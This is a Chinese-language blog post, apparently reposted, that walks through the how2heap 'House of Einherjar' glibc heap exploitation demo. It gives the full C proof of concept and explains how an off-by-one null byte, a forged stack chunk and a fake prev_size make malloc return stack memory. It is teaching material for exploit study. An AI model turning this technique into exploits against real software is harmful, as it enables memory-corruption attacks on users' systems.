15.house_of_einherjar

源代码

  1 #include 
  2 #include 
  3 #include <string.h>
  4 #include 
  5 #include <malloc.h>
  6 
  7 /*
  8    Credit to st4g3r for publishing this technique
  9    The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
 10    This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak. 
 11 */
 12 
 13 int main()
 14 {
 15     fprintf(stderr, "Welcome to House of Einherjar!\n");
 16     fprintf(stderr, "Tested in Ubuntu 16.04 64bit.\n");
 17     fprintf(stderr, "This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");
 18 
 19     uint8_t* a;
 20     uint8_t* b;
 21     uint8_t* d;
 22 
 23     fprintf(stderr, "\nWe allocate 0x38 bytes for 'a'\n");
 24     a = (uint8_t*) malloc(0x38);
 25     fprintf(stderr, "a: %p\n", a);
 26     
 27     int real_a_size = malloc_usable_size(a);
 28     fprintf(stderr, "Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);
 29 
 30     // create a fake chunk
 31     fprintf(stderr, "\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n");
 32     fprintf(stderr, "However, you can also create the chunk in the heap or the bss, as long as you know its address\n");
 33     fprintf(stderr, "We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
 34     fprintf(stderr, "(although we could do the unsafe unlink technique here in some scenarios)\n");
 35 
 36     size_t fake_chunk[6];
 37 
 38     fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
 39     fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
 40     fake_chunk[2] = (size_t) fake_chunk; // fwd
 41     fake_chunk[3] = (size_t) fake_chunk; // bck
 42     fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
 43     fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize
 44     
 45     
 46     fprintf(stderr, "Our fake chunk at %p looks like:\n", fake_chunk);
 47     fprintf(stderr, "prev_size (not used): %#lx\n", fake_chunk[0]);
 48     fprintf(stderr, "size: %#lx\n", fake_chunk[1]);
 49     fprintf(stderr, "fwd: %#lx\n", fake_chunk[2]);
 50     fprintf(stderr, "bck: %#lx\n", fake_chunk[3]);
 51     fprintf(stderr, "fwd_nextsize: %#lx\n", fake_chunk[4]);
 52     fprintf(stderr, "bck_nextsize: %#lx\n", fake_chunk[5]);
 53 
 54     /* In this case it is easier if the chunk size attribute has a least significant byte with
 55      * a value of 0x00. The least significant byte of this will be 0x00, because the size of 
 56      * the chunk includes the amount requested plus some amount required for the metadata. */
 57     b = (uint8_t*) malloc(0xf8);
 58     int real_b_size = malloc_usable_size(b);
 59 
 60     fprintf(stderr, "\nWe allocate 0xf8 bytes for 'b'.\n");
 61     fprintf(stderr, "b: %p\n", b);
 62 
 63     uint64_t* b_size_ptr = (uint64_t*)(b - 8);
 64     /* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/
 65 
 66     fprintf(stderr, "\nb.size: %#lx\n", *b_size_ptr);
 67     fprintf(stderr, "b.size is: (0x100) | prev_inuse = 0x101\n");
 68     fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
 69     a[real_a_size] = 0; 
 70     fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
 71     fprintf(stderr, "This is easiest if b.size is a multiple of 0x100 so you "
 72            "don't change the size of b, only its prev_inuse bit\n");
 73     fprintf(stderr, "If it had been modified, we would need a fake chunk inside "
 74            "b where it will try to consolidate the next chunk\n");
 75 
 76     // Write a fake prev_size to the end of a
 77     fprintf(stderr, "\nWe write a fake prev_size to the last %lu bytes of a so that "
 78            "it will consolidate with our fake chunk\n", sizeof(size_t));
 79     size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
 80     fprintf(stderr, "Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
 81     *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
 82 
 83     //Change the fake chunk's size to reflect b's new prev_size
 84     fprintf(stderr, "\nModify fake chunk's size to reflect b's new prev_size\n");
 85     fake_chunk[1] = fake_size;
 86 
 87     // free b and it will consolidate with our fake chunk
 88     fprintf(stderr, "Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
 89     free(b);
 90     fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
 91 
 92     //if we allocate another chunk before we free b we will need to 
 93     //do two things: 
 94     //1) We will need to adjust the size of our fake chunk so that
 95     //fake_chunk + fake_chunk's size points to an area we control
 96     //2) we will need to write the size of our fake chunk
 97     //at the location we control. 
 98     //After doing these two things, when unlink gets called, our fake chunk will
 99     //pass the size(P) == prev_size(next_chunk(P)) test. 
100     //otherwise we need to make sure that our fake chunk is up against the
101     //wilderness
102 
103     fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk\n");
104     d = malloc(0x200);
105     fprintf(stderr, "Next malloc(0x200) is at %p\n", d);
106 }

运行结果

15.house_of_einherjar_第1张图片

首先申请堆a,0x38的字节

15.house_of_einherjar_第2张图片

可见用了下一个堆的prev_size字段

然后在栈上伪造一个堆fake

fake->prev_size=0x100

fake->size=0x100

fake->bk=fake->fd=fake->fd_nextsize=fake->bk_nextsize=fake

bk,fd指向自己绕过unlink的检测

size要满足small bin的大小要求

在调试环境下,fake地址为0x7fffffffdcd0

接着申请堆b 0xf8字节

15.house_of_einherjar_第3张图片

b数据部分也是占用了下一个堆的prev_size字段

然后造成off-by-one 覆盖了b的size字段最低字节

15.house_of_einherjar_第4张图片

 

 然后修改a的最后8字节,即修改b的prev_size字段

prev_size=b_adr-fake_adr

15.house_of_einherjar_第5张图片

此时libc会认为b的前一个堆块处于释放状态

而且会通过b_adr-prev_size找到前一个堆块的地址

这里即误认为fake为b前一块相邻的释放的堆块

接下来将的fake的size也改成b的prev_size

然后我们释放b,此时b即会向前合并,和fake合并

以fake地址开始形成一块新的释放状态的堆,size=fake->size+b->size

15.house_of_einherjar_第6张图片

这里b->size算成了从b开始一直到所有堆结束的大小0x20ec0+0x100

 最后申请一个0x200的堆,即会使用这个新合成的堆

 

转载于:https://www.cnblogs.com/pfcode/p/10999252.html

你可能感兴趣的:(15.house_of_einherjar)